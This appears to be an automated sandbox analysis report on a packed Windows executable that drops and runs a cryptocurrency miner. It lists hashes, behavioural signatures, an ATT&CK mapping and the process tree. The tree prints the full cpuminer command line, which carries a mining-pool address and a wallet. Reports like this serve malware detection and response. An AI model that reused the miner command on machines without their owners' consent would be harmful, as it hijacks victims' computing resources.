73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
294s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17-02-2024 15:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1652	b2e.exe
1404	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1404	cpuminer-sse2.exe
1404	cpuminer-sse2.exe
1404	cpuminer-sse2.exe
1404	cpuminer-sse2.exe
1404	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3172-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3172 wrote to memory of 1652	3172	batexe.exe	76
PID 3172 wrote to memory of 1652	3172	batexe.exe	76
PID 3172 wrote to memory of 1652	3172	batexe.exe	76
PID 1652 wrote to memory of 1108	1652	b2e.exe	77
PID 1652 wrote to memory of 1108	1652	b2e.exe	77
PID 1652 wrote to memory of 1108	1652	b2e.exe	77
PID 1108 wrote to memory of 1404	1108	cmd.exe	80
PID 1108 wrote to memory of 1404	1108	cmd.exe	80

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3172
- C:\Users\Admin\AppData\Local\Temp\90D6.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\90D6.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\90D6.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9308.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1108
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\90D6.tmp\b2e.exe

Filesize
8.4MB

MD5
ce0f35d94c982653818d2200b9c6136f

SHA1
c6b711de257bf5f6e6e71c6107f124ab472cd316

SHA256
387d2c69ce716beb2a7bacf4fc7b190d670061e77a781bd03cc22a331b209462

SHA512
a58a9fc1b8d770dcd812657fab257292d544a733ffda05322f6ccb55ae64988c8168b67d565c7f843c8b6e9387f7f25caec6535567bd1993a238927ca5e9b91e

Download Submit
C:\Users\Admin\AppData\Local\Temp\90D6.tmp\b2e.exe

Filesize
7.6MB

MD5
48a50d4cd008dd779f6c72b67b190dfb

SHA1
4e31c74922ab3635db9324500930827b1f4ae8f0

SHA256
6a6d9dd3b17cfa6a06b689b23c6ab09b8894255d50737c3262c4c52f3112bab0

SHA512
b9e9504383540276120c45db7a94a31ff566164617f749474c8e3ac9cd07a84eed11dd848311d8954042c9523c62842456e3fbde0b4851111ebb316859f5bf05

Download Submit
C:\Users\Admin\AppData\Local\Temp\9308.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.6MB

MD5
4732bfb0cccf4e8a6927d8574ad03a88

SHA1
258efcdc6c91b3cd6a63377882fef8055205d1f3

SHA256
29686370111feb2da7624b383991946f6d5d2234c12cb10166bee38e69a34383

SHA512
c81e709a4d1ca8e2d70cf48e87138b2fa9f23d75db2a64e9fed7d5922eef63a0d88b1a3a128940cc8492a24dd51ec780911e4694eeb80eeb685f0cc518dc3921

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.0MB

MD5
3b4fb2d015befc784baa677bbe62c741

SHA1
12eba97cac696edbf13ac558403b68422a9b6dba

SHA256
ba9cde5b842b70fdeacc5d225d9ee244898568ed301fd187f6cc8e8125d446d7

SHA512
0ebd01f7904133d134b6fc46b2a032c447cf48f079ff69410399ea449333269b8b3cd0ef8c4c7e4968d119908acffe2cedf89b30ca2b10e89c6f34e687c34c9a

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.1MB

MD5
e2235647b19bf159824166f98c905df6

SHA1
4198e26d0cffb4faccf68c5f8e012f7f7706220a

SHA256
0dddb1ce446b3710b92b26095942524518b54ce07a07aa0d8afb35cdd5e000d7

SHA512
94c91049d90e68d33c531d3a04cf92c58681cbfb3136a26461b95c308f22d8dde82c7b1b6501ee89071537ad04cb81895f6c67b19e234e8d2abe998ea3968e5f

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1404-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-42-0x0000000057CA0000-0x0000000057D38000-memory.dmp

Filesize
608KB

Download
memory/1404-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1404-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1404-44-0x0000000001090000-0x0000000002945000-memory.dmp

Filesize
24.7MB

Download
memory/1404-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1652-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1652-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3172-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download